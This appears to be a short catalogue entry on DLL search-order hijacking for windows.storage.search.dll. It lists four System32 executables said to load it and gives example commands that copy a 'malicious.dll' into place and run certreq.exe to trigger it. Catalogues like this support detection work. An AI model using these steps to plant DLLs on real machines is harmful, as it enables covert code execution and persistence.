examples:

• description: "Place malicious windows.storage.search.dll in the search order location" command: "copy malicious.dll "%SYSTEM32%\windows.storage.search.dll""
• description: "Execute the vulnerable binary to trigger the hijack" command: ""%SYSTEM32%\certreq.exe""

windows.storage.search.dll

Vendor: Microsoft

Expected Location: %SYSTEM32%

Vulnerable Executables:

• %SYSTEM32%\certreq.exe (Environment Variable)
• %SYSTEM32%\control.exe (Environment Variable)
• %SYSTEM32%\explorer.exe (Environment Variable)
• %SYSTEM32%\notepad.exe (Environment Variable)

Acknowledgement: Wietze